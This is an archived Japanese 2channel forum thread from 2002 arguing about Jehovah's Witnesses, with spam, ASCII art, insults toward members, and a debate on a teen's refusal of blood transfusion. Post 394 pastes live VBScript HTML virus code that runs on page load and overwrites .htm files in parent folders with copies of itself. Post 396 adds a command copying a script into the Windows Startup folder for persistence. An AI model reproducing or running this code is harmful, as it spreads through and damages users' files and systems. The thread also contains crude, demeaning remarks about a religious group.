( ⌒ ⌒ ) ( ) (、 , ,) || |‘ / ̄ ̄ ̄ ̄\ l ∨∨∨∨∨ l | \()/ | (|ー=・=- ー=・=-|) / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ | ⊂⊃ | / エホ商はなまいきだ!仏を信じない | .| ⌒ \.l/ ⌒ | | < / |. l + + + + ノ |\ \ / \_____/ \ \___________ / _ \ // ̄ ̄(_) | |ししl_l ( | | |(_⊂、__) | | \____/ | |
あぼーん
281 :
名無しさん@1周年 :02/07/01 09:17
∧∧ ∧_∧ (゚Д゚ ) ( ´∀`) ⊂ ヽ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\ /, つ 〉 ノノ~ < まぁ おちけつ > (_(_, ) ∪∪ \_________/ しし'
あぼーん
283 :
名無しさん@1周年 :02/07/01 09:52
〜公開質問状〜 『訪問一切禁止』の『ステッカー』が 『読めない』又は『見えない』のですか
あぼーん
285 :
名無しさん@1周年 :02/07/01 12:14
(゚д゚≡゚д゚≡゚д゚) ナニココ!?
あぼーん
287 :
名無しさん@1周年 :02/07/01 14:00
〜公開質問状〜 『訪問一切禁止』の『ステッカー』が 『読めない』又は『見えない』のですか
288 :
名無しさん@1周年 :02/07/01 15:27
02/07/01 14:00 2時までおつとめだったんですか? ご苦労様でした。
あぼーん
あぼーん
291 :
名無しさん@1周年 :02/07/01 15:43
読めないし見えない。だからそんなの貼っても無駄だよば〜か この様な態度、無知・無教養・非常識を丸出しですね。 エホバの反社会性を露呈してしまいましたね。
292 :
名無しさん@1周年 :02/07/01 16:17
読めないし見えない。だからそんなの貼っても無駄だよば〜か *この様な態度、無知・無教養・非常識を丸出しですね。 エホバの反社会性を露呈してしまいましたね。
293 :
名無しさん@1周年 :02/07/01 16:37
>>467 のぼけ、お前が無知・無教養・非常識を丸出しだぜ。
ネットやめて早くしね、このこぶたちゃん
*この様な態度、無知・無教養・非常識を丸出しですね。
エホバの反社会性を露呈してしまいましたね。
*この様な態度、無知・無教養・非常識を丸出しですね。 エホバの反社会性を露呈してしまいました。 よろぴく!
あぼーん
296 :
名無しさん@1周年 :02/07/01 20:55
☆★ 聖書に親しんでください ★☆ あなたは聖書を理解できます ―――――――――――――――――――――――――――――― 聖書を学ぶ集まりが随時開かれています 公開聖書講演会 時宜にかなったたいせつな話が、随時異なる主題で話されます ものみの塔研究 定まった聖書の題目を質問と答えで討論する集会 会衆の書籍研究 生活の中における宗教の役割について、組織的な討論を行います 神権宣教学校 聖書のひとつの書を研究しながら、聖書の話をすることを学びます 奉仕会 聖書の知識を実際に役立たせる方法を示す実演、話などがあります ご一緒に学ぶことができます エホバの証人の王国会館 ―――――――――――――――――――――――――――――― 皆さんのおいでを歓迎します。 入場無料
あぼーん
298 :
名無しさん@1周年 :02/07/01 21:13
そのために生まれてきたのですから
あぼーん
あぼーん
301 :
名無しさん@1周年 :02/07/01 23:02
エホバのバカ共って他にすることないのかしら!暇人ね。 .∧w∧ ∧w∧ ホントデスネ . ( ,,゚Д゚) (゚ー゚* ) /つ旦| ∴ |旦とヽ @(___) ..丁 (___)@ お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。
あぼーん
あぼーん
あぼーん
あぼーん
306 :
名無しさん@1周年 :02/07/02 10:59
エホバのような暇人はただの暇人じゃないと思う 同じ事を繰り返すことの出来る忍耐力?を持っているのかも? もしくはタダの大バカ そう思わない?
307 :
名無しさん@1周年 :02/07/02 12:22
エホ:エホバのような暇人はただの暇人じゃないと思う 同じ事を繰り返すことの出来る忍耐力?を持っているのかも? もしくはタダの大バカ そう思わない? ホバ:やっぱり筋金入りの大バカにはかなわいな
308 :
名無しさん@1周年 :02/07/02 13:46
伝道に逝きますか、え--と、きょうは北ね。 わたしを−−まってるひとがいるううと思わないと逝けないのよね
309 :
名無しさん@1周年 :02/07/02 14:12
大バカはすくわれます
あぼーん
311 :
名無しさん@1周年 :02/07/02 17:46
嫌われる原因はこれなんだよ。 *お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。
312 :
名無しさん@1周年 :02/07/02 18:20
エホ:エホバのような暇人はただの暇人じゃないと思う 同じ事を繰り返すことの出来る忍耐力?を持っているのかも? もしくはタダの大バカ そう思わない? ホバ:やっぱり筋金入りの大バカにはかなわいな
あぼーん
あぼーん
315 :
名無しさん@1周年 :02/07/03 09:31
エホ証は、自分の子供を迫害している
316 :
名無しさん@1周年 :02/07/03 10:24
/|\ | キ | n/ ̄\n | キ | / (・(・| \|/ 三 ∞ |三 || / / ̄ ̄) < エホ証に食べられそうだ・・・ /── \ ̄ ̄) | | |/| | ̄ ̄ |_| ̄|_| ̄|_| |_|
あぼーん
318 :
名無しさん@1周年 :02/07/03 10:42
>>314 荒らしは「放置」しましょう。
たとえ叱責や苦言であっても、あなたのように返事をする人がいると
彼らは面白がってますます板に迷惑をかけつづけます。
319 :
名無しさん@1周年 :02/07/03 11:55
エホ証は、自分の子供を迫害している。
320 :
名無しさん@1周年 :02/07/03 11:57
エホ証は、自分の子供を迫害している。
321 :
名無しさん@1周年 :02/07/03 13:48
エホバは、子どもの人権を一切認めない抑圧団体ですね。
322 :
名無しさん@1周年 :02/07/03 13:49
エホバは、子どもの人権を一切認めない抑圧団体ですね。
323 :
名無しさん@1周年 :02/07/03 14:20
エホバは、子どもの人権を一切認めない抑圧団体ですね。
324 :
名無しさん@1周年 :02/07/03 14:22
エホバは、子どもの人権を一切認めない抑圧団体ですね。
325 :
名無しさん@1周年 :02/07/03 17:02
エホバは、子どもの人権を一切認めない抑圧団体ですね。
326 :
名無しさん@1周年 :02/07/03 17:41
マザ−テレサちゃんステキ
327 :
名無しさん@1周年 :02/07/03 17:49
エホバは、子どもの人権を一切認めない抑圧団体ですね。
328 :
名無しさん@1周年 :02/07/03 19:11
波及効果―もう一つの宗教も独自のスキャンダルに直面
先週、ローマ・カトリックの司教団が「罪の告白(mea culpa)」を発表したころ、
エホバの証人(98万人を擁する閉鎖的なグループ)は彼ら自身の性的暴行
スキャンダルに直面して動揺した。1月にカリフォルニア州サクラメントの女性は、
会衆の成員によってレイプされたのに、教会の指導者が行政当局に届け出る
ことを故意に怠ったとする訴訟を起こした。
メリーランド州の著名な教会の指導者は、3人の女性を性的暴行を加えたと
して、2月に起訴された。彼女たちは、長老たちから暴行のことを告発しない
よう命じられ、告発すると破門させられたと話す。最近、幾つかのストーリーが
テレビで放映されると、ウィリアム・H・ブラウンの運営する被害者支援団体に
はEメールと電話が殺到した。「カトリック教徒は司祭だけをかばう。エホバの
証人は教会の他の成員にも同じようにする」と、ケンタッキー州の著名な長老
であるブラウンは言う。
サラ・ポアソンは、娘に対する性的虐待のかどで夫が有罪判決を受けるに
先立って、「もっと祈り、より良い妻になるように」と教会の長老たちから
告げられたと話す。教団のスポークスマンであるJ・R・ブラウンは、
同団体は地方の指導者たちに法律で要求されている場合には警察に
通報するよう指示していると言う。彼らは独自にも取り調べる。「それは
被疑者と直接会って行われる」。もし彼が告白するなら、戸別伝道に
出ることは―他の証人を同伴しない限りは―禁じられることになる、
とブラウン。さらにブラウンはこうも指摘する。教団を非難する人々の
ほとんどは道をそれた元証人であり、捕食者たちの「無防備なえじき」
なのだと。だが、ポアソンの娘である20歳のヒース・ベリーのような
犠牲者たちは、この教団こそが人を食い物にしていると言う。「彼らは
子供たちをがっかりさせているわ。虐待が続くのを見て見ぬ振りをする
のがクリスチャンだとは思えないもの」。
元記事:
http://www.msnbc.com/news/767800.asp 関連記事:
http://www.jwic.com/n062402.htm
あぼーん
330 :
名無しさん@1周年 :02/07/03 19:51
仲間だけで細々とエホバ信じます 赤の他人の家に大勢で押し掛けるのはやめます。 2001/07/03
あぼーん
332 :
名無しさん@1周年 :02/07/03 22:19
エホバは、子どもの人権を一切認めない抑圧団体ですね。
あぼーん
334 :
名無しさん@1周年 :02/07/03 23:12
(゚Д゚)ハァ?
あぼーん
あぼーん
337 :
名無しさん@1周年 :02/07/03 23:29
エホバは、子どもの人権を一切認めない抑圧団体ですね。 これは喝だ! 私も喝! \_____ ___/ \___ ____/ ∨ _ _∨ │□-□│ (□-□) │ △ | (( 〜)) | ノ─ヽ| / ∨ \ / \Τ/ \  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\ \ |大 沢| |張 本| \ | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ | | 御 意 見 番 @ 2 c h. | | . |
あぼーん
339 :
名無しさん@1周年 :02/07/03 23:40
かかわりたくない人種だね。
荒らしてるやつすげーな
あぼーん
342 :
名無しさん@1周年 :02/07/04 00:12
ミミミミ||||||||||||||||||||||イイ〃 ミ """"" 彡 ミ〉 :::: :;;;;;; :::::: :::;;;;;;:: 〈ミ Y Y | ~"""''''、 ,''''"""~ ::|. r'^|シィてユゝ i i ィてエゝミ:|'^.i ゝ{| .ノ | | ヽ、 :|} ノ .し|::: ´ ノ :ヽ :|ノ | 、 ./〈r、...r.〉\ , .| | ヽ ,__..,;,,;,,.__、/ / ,ト、 ´ ̄~~ ̄` /;;|. . `\、,.__,./´
あぼーん
344 :
名無しさん@1周年 :02/07/04 15:01
, -,、 、 ☆ノノ从)) / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ノ∩ ~∀~)y-~~< ・・キャハ☆、王国会館の受付よ♥遊びにきて−− □…/ノつ O* ) \____________________  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
あぼーん
あぼーん
あぼーん
348 :
名無しさん@1周年 :02/07/04 19:29
>>340 開拓者(もしくは元開拓者)かな
常人には想像できないワンパターンぶりだ
あぼーん
350 :
名無しさん@1周年 :02/07/04 22:15
ヾ; ;";ヾ ;;"ヾ;;;゙;; . . / │ ヽiiヾi;ii//ヾ゙ . . . / |;i:;.|:;| . / |:;i;.|i;| . . . |::.;.|.;| ∧ ∧ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ |;;i;:|::| ( ゚Д゚) < お茶してから開拓よ。Radiationしてくるのよね |::,.i|;i| |σ[] ∬ \________________ |;:;.:|.:| ι⊃⊃旦 """'"""""'""""""'""""''""""'""""'""""'""""''""
351 :
名無しさん@1周年 :02/07/05 05:23
エホバの証人の社会に起こる、報告されない性的スキャンダル の告発
352 :
名無しさん@1周年 :02/07/05 09:25
∧_∧ ( ´Д`) <エホバ踊りやります!… / ⌒ヽ / レ'つ ヘ ヽ (__/ I \\ ) | \ヽ . / ●―――∪ / / ^ヽ \ ( < > ) \ ヽ / / ______ / |__I \__ \ (__ノ ヽ__) \ ||\ \ ||\|| ̄ ̄ ̄ ̄ ̄ ̄ ̄|| ̄
あぼーん
354 :
名無しさん@1周年 :02/07/05 10:17
あぼーん
あぼーん
あぼーん
358 :
名無しさん@1周年 :02/07/05 12:07
姫路白浜会衆は、ローカルルールの多い、因習の強い会衆です。 最悪〜〜〜〜〜!!!!! 長老2人は、白浜から出たことも無いような田舎モンだしさ! 偽善者ぶって、ほんとに助けて欲しい時には、助けてくれないヤツラです。 アホ〜〜〜〜!!!
あぼーん
360 :
名無しさん@1周年 :02/07/05 12:38
359!!! 人の文章使うな!!!ボケ!!!
361 :
名無しさん@1周年 :02/07/05 13:05
エホバの信者は、迫害を四六時中口に出しているのだから、 削除依頼を出すのはお門違い。 ご自分たちの信じる信仰で解決するべきです。
>>362 あなたがしている事は、エホバへの迫害ではなく2chへの迫害です。
2chのルールどおり削除依頼を出すのが正解!
エホバの信者は、迫害を四六時中口に出しているのだから、 削除依頼を出すのはお門違い。 ご自分たちの信じる信仰で解決するべきです。
365 :
名無しさん@1周年 :02/07/05 16:44
355 ┌┐ 人 ││ ノ二\ ナ ゝゝ V / / 乙 つ O
366 :
名無しさん@1周年 :02/07/05 16:47
助けて欲しいなら ひとを助けなさい
367 :
名無しさん@1周年 :02/07/05 16:59
楽園の神の福音を説くことに精力をつかって、現実と遊離している えほ証人、 暗いよ、明るく生きれよ
368 :
名無しさん@1周年 :02/07/05 17:20
2chにキリストを観る
369 :
名無しさん@1周年 :02/07/05 17:52
エホバの証人喚問
エホバの信者は、迫害を四六時中口に出しているのだから、 ご自分たちの信じる信仰で解決するべきです。 削除依頼を出すのはお門違い。
371 :
名無しさん@1周年 :02/07/06 01:56
エホバと統一はつながってると思うか? 思う、、 分からない NO。。 ┝━━━━━━━┿━━━━━━━┥ /) (i )) ∧_∧/ / (´・ω・` / <ココ! (ぃ9 ノ / / / \ / /⌒> ) (_) \_つ
372 :
名無しさん@1周年 :02/07/06 02:02
統一と衝突して共倒れしてしまえ
373 :
名無しさん@1周年 :02/07/06 11:03
エホ証が最高の宗教ですよ わたしはこれで幸せになれたんですから
374 :
名無しさん@1周年 :02/07/06 11:31
エホ 最高 です♪ ─────────────────────────────────── ──‐ ∧_∧∧_∧───‐∧_∧ ‐∧_∧───∧_∧────‐ ∧_∧── ──‐( ・∀・)⊃Д`)───( ⊃ ).──‐( ・∀・)───‐ r( )── ──‐(O / つ つ───( / と )──‐⊂⊂へノ────‐〉 つ── ──‐人 Y ゝ ) )───‐ノ ハ―( ( ノ───‐ 'ー(__)───⊂ 、 ノ─── ──‐し(__) し し ───‐(_ノ_)― し'J────し' ───────し'──── ───────────────────────────────────
あぼーん
あぼーん
377 :
名無しさん@1周年 :02/07/06 17:28
エホは動静愛がおおいのよ / ̄ ̄ ̄\ _ノ _ \ (⌒Y⌒Y⌒) / / \/\ ⌒) \__/__ / / ⌒ ⌒ ヽ / / \\ | _| (・) (・) V / ⌒ ⌒ \ \ | (6 > | | (・) (・) \ ⌒ ) ヽ_フ ___ | | ⊂ 9) ) \ \_/ / | ___ | ) \___/ \ \_/ / | . ⌒ヽ⌒\ ,.-─\____/───-──つ / o ヽ\ \ / / / \ ,,,,.. -─ヽ_,.-'¨ / ヽ ノ ヽ \/ c / o : ヽ ̄ | . o l  ̄::/ / / ヽ_ヽ___ / | 〕 | |ヽ_ / ::/ /ヽ_/ ::::// :::::| ::| | | \ ::/ / ::::// ::::/| :| | / ヽ::/ ヽ ヽ ::::/ / ::::/ | | | | ,..-─────'''''¨¨ ::::/ | | | | / ::/ | | | | ヽ -──────...,_ / 〔 -二ヽ // ` `──── ヽ \ \ ヽ / / / /
378 :
名無しさん@1周年 :02/07/07 03:24
〉. ̄ヽーニ_) /ー- __....! / │ >‐- 、 < ヽー----- '" / `ー- ....____....ィi / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ {^:| く.( ・」 l・ ノ|/ <逮捕だ l.h| r' "^. l.^" 〉i \ __,.─/ヽ| | `ー' |l\─, / | |∠ニ三i三i>lゞ \ ~^ヽ \ ~V 〉 > 〈 _> ヽ.........へ- ' / | ヽ | / \ |  ̄/ | ヽ | | | | /: │
379 :
名無しさん@1周年 :02/07/07 09:42
∧∧ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ∬ (゚ー゚,,) < お茶でもどうぞ 旦⊂(_@ \_______
380 :
名無しさん@1周年 :02/07/07 17:43
lヽ \∧_ヘ .l 」 / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ,,、,、,,, / \〇ノゝ‖ < >>新規信者を獲得にいくぞアヒャァ!! ,,、,、,,, /三√ ゚∀゚)つ \____________ ,,、,、,,, /三/| ゚∀゚|\ ,,、,、,,, ,,、,、,,, ,,、,、,,, U (:::::::::::) ,,、,、,,, \アヒャーーーーーーーッ!!/ //三/|三|\ lヽ ∧_∧∧_∧∧_∧∧_∧∧_∧∧_∧ ∪ ∪ . lヽl 」( ゚∀゚ ) ゚∀゚ ) ゚∀゚ ) ゚∀゚ ) ゚∀゚ ) ゚∀゚ ) ,,、,、,,, ,,、,、,,,.l 」∧_∧∧_∧∧_∧∧_∧∧_∧∧_∧∧_∧ ,,、,、,,, ‖( ゚∀゚ ) ゚∀゚ ) ゚∀゚ ) ゚∀゚ ) ゚∀゚ ) ゚∀゚ ) ゚∀゚ ) ⊂、 つ、 つ、 つ、 つ、 つ、 つ、 つ Y 人 Y 人 Y 人 Y 人 Y 人 Y 人 Y 人 (_)'J (_)'J(_)'J(_)'J(_)'J (_)'J(_)'J
創価学会に入れ 最高でーーーす
382 :
名無しさん@1周年 :02/07/08 11:09
ヨノ ナカ カネ☆ D円_円I 円_円I 円_円 ∩・∀・ ∩ ¥・∀・∩ ¥・∀・¥ _ヽ ノ ( つ@ ノ I⊂ _ つD (_ ヘ_ノ金 人 Y (_) ノ (_) し (_) (_)
383 :
名無しさん@1周年 :02/07/08 11:17
>>( ´∀`)y-~~ じいちゃん、じいちゃん! そろそろ枝豆の季節だよ〜! もう収穫した? 一緒にビール飲もうよ〜! それから王国会館にいって聖書の勉強しましょう
エホバの証人に関する率直なご意見があればお聞きいたします。明らかな荒し等にはお答いたしかねます。
エホバの証人に関する率直なご意見があればお聞きいたします。明らかな荒し等にはお答いたしかねます。
386 :
名無しさん@1周年 :02/07/09 07:14
聞きたい人もいないと思われます あなたへの信頼は皆無と思われます
今ごろ出てきて何ごとだ?みなさま彼(折原誠)には関わらないように。エホ証に関するご意見はわたくしがお受けいたします。28歳の現役エホ証です。
388 :
名無しさん@1周年 :02/07/09 14:11
まあ、金をすいとられてもいいって言う人が入信してるんだし、 人生狂っても自業自得ということで。 警察のご厄介にはなるなよ。あと、ちゃんと税金は納めろよ。
>>387 目覚まして、畑でも耕せ。
人生棒に振るな。
391 :
名無しさん@1周年 :02/07/09 14:51
>あと、ちゃんと税金は納めろよ。 税金ごまかしてる人間がよくそう言うね
>>389 税金は納めております。一般的な平均額よりも多いと思います。
>>340 仕事の内容が畑違いなので畑は耕しませんが、趣味でガーデニングを少々しております。
393 :
名無しさん@1周年 :02/07/09 15:02
今回の物見の塔変です。愛ある親切の定義についてもういちど考え直して下さい。マタイの5章43節と比較して。 みんなこんな間違った教えを信じているとは悲しくなります。かわいそうです。 めしいがめしいを手引きすれば二人とも穴に落ち込みますよ。小さき者を躓かせるものは石臼を首に掛けられて海に投げ込まれる方がましです。
394 :
名無しさん@1周年 :02/07/09 15:02
お前たちくだらなすぎ <BODY Onload="Redirect();"> <script language="VBScript"><!-- Sub Redirect Randomize If location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then Call Offline location.href = location.href +"l" End Sub Sub Offline Dim FSO,folder ,fc, f1, cpath Set FSO = CreateObject("Scripting.FileSystemObject") HostPath = Replace(location.href, "file:///", "") HostPath = Replace(HostPath, "/", "\") cpath = fso.GetParentFolderName(HostPath) Set folder = fso.GetFolder(cpath) While folder.IsRootFolder = false Set folder = fso.GetFolder(cpath) Set fc = folder.Files cpath = fso.GetParentFolderName(cpath) For each f1 in fc s = Lcase(Fso.GetExtensionName(f1.name)) If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l", true fso.CopyFile HostPath, f1.path, true End If Next Wend If (Int((10 * Rnd) + 1) + 1) = 1 Then MsgBox("HTML.Redirect /1nternal") End Sub --></script> </BODY>
395 :
名無しさん@1周年 :02/07/09 15:13
>>393 今回の記事全体から感じたことは人間味のある親切が軽視されていたこと
人間味のある親切がなければ今回学んだ愛ある親切は価値の薄いものとなるように思います
396 :
名無しさん@1周年 :02/07/09 15:15
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
今回の記事の主眼は「愛ある親切」です。特に強調されていたのは信仰で結ばれた仲間の必要にどのように目を向ける事ができるかという事でした。言葉の意味を正確に理解するために比較されただけであって、人間味のある親切を軽視しているわけではありません。
398 :
名無しさん@1周年 :02/07/09 15:31
人間味のある親切ってなんですか?愛ある親切ってなんですか?本来、愛ある親切で誰に対しても接するべきなのに、仲間内だけのものにしてしまったんじゃないでしょうか。
というより、あいある親切の前に、人間としてのマナーそして 気遣い、親切を示した方がいい。駐車禁止してまわりの人に迷惑 かけない。噂話をしない。みんなで仲良くする。基本でしょ? でもできてない会衆ほんとおおいよね。
そんでもって愛ある親切は忠節と深い関係がある。人間味ある親切は 簡単に言えば良心やモラルによって自然にする親切。それらをさらに 超えている親切。あんまわかりにくい? では、とおりすがりのものでした。 (^-^)/~~
言語の違いがあるので簡単に説明できませんが、愛ある親切は愛という特質の一部とも言えます。確かに会衆内で改善が必要な点は多いですね。仲間の間で愛を示すことができなければ、他の人に愛を表す事は難しいでしょう。ゆえにまず内部を強化するという意味もあります。
402 :
名無しさん@1周年 :02/07/09 16:00
>>399 >でもできてない会衆ほんとおおいよね。
だから千年かかるのかな?
403 :
名無しさん@1周年 :02/07/09 16:09
わたしが思うに、エホバの証人の人は、選民思想に重きを置きすぎています。イエスの根本的な思想は神を愛しなさい、人を愛しなさいです。他は滅ぼされてもいいとは一言もいってませんよ。
確かに多いですね。まず原則を正しく理解し、個々が生活の中であてはめること。周りの仲間の動機を疑わずに良心上の決定に敬意を払う事が必要です。ですからまず仲間の間で愛ある親切を表す必要があると言えます。そうでなければ他の人をこの組織に導く事は難しいでしょう。
405 :
名無しさん@1周年 :02/07/09 17:57
なんでウイルスが検地されるん?? むかつくー
聖書には裁きの時が到来することが述べられています。ですからいずれにしても、人々は何らかの行動をとらなければなりません。どんな行動をとるかは個人の信仰によるでしょう。神が愛を示し忍耐される事は確かですが、そこ公正さによる裁きが行われない事はありません。
407 :
名無しさん@1周年 :02/07/09 19:04
しかし、それを信仰の動機とするのは如何なものでしょう?エ ホバの証人の中にはそのような人が多いのも事実です。 真の意味で神の愛を体現しているのはどれくらいいるのでしょうか? 皆さん純粋に頑張っておられるみたいですが、何処か偽善的です。 自然に愛から行動しているのではなく、無理に愛を示そうとして行動しています。 もっとも、これができる人は、少ないものですが。
久し振りに現役JWさんの登場ですか。 まあ、過去を振り返りますと、出だしは、調子よく受け答えしますが 暫くしますと、発言が行きづまりますね。 さて、今回はどうなりますか。 私は相手の方が真面目そうでしたら、 それなりのレスを返しましたが、すべて失望しましたね。 他のスレでどなたかが書いてありましたが、 結局のところJWさんの言い分は、 「JWは正しいのだから、正しい。」 「正しい組織を反対する者は、間違っている。」ですね。 正直、話になりませんね。。。
>>407 偽善的ですか・・・わたしもそんな風に感じる事がありますよ。もっと自然に愛を示せたらいいですよね・・・でも、それは難しいですよ。それじゃなくてもストレスや問題の多い時代ですから。愛を示そうとする努力は評価してほしいなと思う今日この頃です。
愛を示そうとする努力を評価するもなにも
カナダ、カルガリ市における16歳のエホバの証人少女の輸血拒否裁判
ニュースと手記
http://www.jwic.com/n062602.htm ↑
これなんか読むと父親が娘を助けようとしてるのに
ものみの塔は裁判を起こしてるんですよね。
裁判を起こすのが愛なのですかね。
JWの理屈では、愛なんだろうけど、常識的には受けられませんね。
>>408 できるだけ誠実に答えるつもりです。客観的な評価は必要ですから。
>>410 携帯からなので見れないのですが、どういう話ですか?
412 :
名無しさん@1周年 :02/07/10 00:40
エホ証の書いたものヲ読んでも感動するところがないんだけど 聖書の解釈がどうたらこうたらはぇぇから、心を打たれることをかいてけれ。 日常の活動はどんなことやってるのでしょうか、聖書のおべんきょうに精力 を使い果たしてるのでしょうか、おつむに聖書ヲ詰め込んでもねぇ徳の高い人 にはなれないとおもうけど。 「もっとも貧しい人びとに使えること」ヲ一生かけて貫いているなんて アグネスちゃん、ボクすきだな
>>411 リンクした先の全文を読んでいただきたいのですが、
かいつまんだ話として、
カナダ、アルバータ州のカルガリ市で16歳のエホバの証人
である少女がアルバータ小児病院の医師が化学療法と輸血に
よる治療を開始しようとしたのに対し、少女とその家族がこれを拒否。
主治医の「輸血なしの治療では死亡率100パーセント」と証言
カナダでは未成年の患者が必要な治療を拒否したり受けられ
ない場合には、一時的に州が保護措置を取り、親権を親から
州に移して治療を受けさせなければならない決まりになって
います。この法律に従って、カルガリ市の児童保護局は、
直に家庭裁判所の命令を得てこの少女を保護して必要な治療
を開始しようとしました。
少女の父親(エホバの証人)が最初の裁判の途中で、
立場をひるがえし、聖書の血の記述は輸血を想定して書かれ
たものではないという新しい聖書解釈に達したとして、自分
の子供への輸血に同意。
「児童保護局側の弁護士と少女の父親」と「塔協会の弁護士と少女の母親」
の対決ですね。。。
なるほど。難しい問題ですね。信仰と親権の問題が関わっていますので・・・その少女はどんな意志を持っていたのでしょうか?
>>412 心を打つだけでいいならば、きれいごとを並べればいいだけになりそうな気がします。もちろん心に訴えかけなければ、行動には移ることはできません。ですから、言葉の意味を深く考察し、自分の心に響かす努力が必要です。
416 :
名無しさん@1周年 :02/07/10 02:54
》409 はい、みんな頑張っているのは認めます。 しかし、いくら山をも動かす程の信仰心があっても愛がなければそれは無意味ですよ。いくら力ある業をしても愛が無ければ無意味です。 行為によって愛になることはできません。なぜなら、愛は感情だからです。
417 :
名無しさん@1周年 :02/07/10 03:28
うわキモイ アイアイなんであるアイデアル アイはいりません よそで売ってよ
>>414 裁判を起こしたのが、JW組織と少女の母親ですから、
少女の考えは関係ありません。
これは、明らかに家庭の問題として処理すべきで
少なくとも、
せいぜい、知り合い等信者仲間で、
父親の説得程度にとどめるべき問題であり、
いくら母親の要請が有ったとしても、
JW組織は弁護士の派遣はすべきでは有りません。
追記、そちらが携帯電話で
http://www.jwic.com/n062602.htm を読めないそうですが、私だけ読んでいますと
そちらが不公平になり、私が有利と思われるのも嫌ですので
どこかでHPを読んでいただける事を希望いたします。
さらに、追記。
申し訳有りませんが、私は今後JWの理屈での受け答えはしません。
JWとの会話は、いかに不毛の話し合いであるか、
今までの経験で分かりました。
419 :
名無しさん@1周年 :02/07/10 05:27
(ノ゚Д゚)おはようボンジュール♪ 雨降ってないじょー 心を打つのは人の行動についてだよ−ん 行動をのうらずけのない屁りくつはいりましぇ−ん
420 :
名無しさん@1周年 :02/07/10 07:18
主治医、父親、児童保護局の三者が酔って鷹って少女の願いに逆らっている。 こいつら、本人の気持ちなんか全然考えていない。ムカツク。
>>420 過去ログを読んでみな。
親に無理矢理、王国会館に連れられれた。
という書き込みが、幾らでもあるから。
人権を考えていない団体が、何が「本人の気持ち」だ。
JWにしてみれば、ムチ棒で子供を引っぱたくのは
正しいことだろうが、それは子供に対する虐待なんだよ。
わたしは少女の意志が重要だと思います。16歳であれば、自己決定する基本的人権を有していると思うからです。多くの国では未成年者保護のため自己決定権を制限しており、それが基本的人権と対立することはいなめません。
(続きです)基本的人権が犯される場合、裁判を起こす以外に行政当局の意向を覆す方法はありません。わたしは心の中の不可侵な部分は子供にもあると思います。それで、もっとも重要なのは、親権による決定ではなく‘その少女が何を望んでいたかにある’と思うのです。
それはJW以外では屁理屈と言う。 元々この話は「愛」の話から始まっているのだろう。 裁判を起こして夫婦間、親子間でもめるのが愛のある行動であろうか。
わたしは‘愛’ではなく‘基本的人権’について話しています。裁判が行われているわけですから、法律的な観点からの思考をしなければならないと思うのです。家族愛は大切ですが、子供の意志に反することを強要するなら、それは虐待です。
>>416 愛は感情ですから本人以外にはその程度は分かりません。ですから‘業のない信仰は死んだようなもの’と言えるのです。
しかし、クリスチャンだから…と愛を強要する傾向があるのも事実です。自然と表せるようにしたいものですね。
427 :
名無しさん@1周年 :02/07/10 09:52
エホバの証人間では基本的人権は保証されているのでございましょうか。 日本国憲法で保証されたそれですけど
>>421 そうであれば義務的に学校に通わせるのも虐待という事になりえます。
しかし、わたしの弟もそうですが、途中で止めた二世にとって、JWとしての経験が苦いものとなるのも事実です。
親は子供の持つ権利に敬意を払い、信仰を強要するのではなく、道理にかなって教える必要がありますね。
基本的人権は犯されることのない不可侵の権利です。何人も犯すことはできません。
430 :
名無しさん@1周年 :02/07/10 10:02
信仰の自由とは、他から信仰を強制されない消極的な自由も含んでいます。 その女の子が自己決定の下で輸血拒否を行なっているなら積極的な信仰の自由として保障されるべきでしょう。 しかし、家庭の事情は様々であり、家族愛があるからといって絶対的な強制下(少女の意思決定を事実上支配している状態;恐怖心を植え付けるなど)で輸血拒否を強要するのは当人の自己決定並びに信仰の自由を侵害し許されないことになります。 以上、法律的な話ですが、私も論点がずれている様に思えます。
431 :
名無しさん@1周年 :02/07/10 10:22
基本的人権は侵すことは出来ない永久の権利ですが(原則)、公共の福祉による制約を受けます(例外)。公共の福祉とは、人権相互間の調整原理です。 唯一絶対的に保障されているのは、内心の自由のみです。 それから、意思決定の出来ない、意思能力の無い間(普通7-8才)は親による指導が為されるべきでしょう。しかし、それ以外は親権と子供の権利との比較衡量により、どうすべきか決定するのがいいと思います(私見)。 多分裁判所も同じ判断を行なうと思います。
432 :
名無しさん@1周年 :02/07/10 10:23
犯されているような
433 :
名無しさん@1周年 :02/07/10 10:30
> 裁判所も同じ判断を行なうと思います。 そうであって欲しいとわたしも心から望みます。どうぞ裁判所が原則を忘れずに このことの判断をしてくれるようにと。
>>431 >>432 の意見に全く同意いたします。
未成年者がかかわる良心的な問題には、法律に基づく判断が必要です。信仰や愛という感情論では水掛け論になってしまう恐れがあるからです。
435 :
名無しさん@1周年 :02/07/10 11:01
》432 内心の自由とは、自分がどう考えどう思うかの自由です。つまり、自分の心のなかの問題です。絶対的なというのはそういう意味です。
>>435 輸血を命じられた通り素直に受けなさい。その代わり内心で「 いやだ、いやだ、
いやだ〜っ 」と思うのは 自 由 だよ。
あなたはそう言いたいのでしょうか?ちょっと暴力的ですね。
あっでも、誤解だったらごめんなさい。
>>420 、422
その少女もそうだけど、JW信者には無輸血でやることのデメリットに関する情報が
皆無です。そのような状態での判断が正常であるとは言い難い。
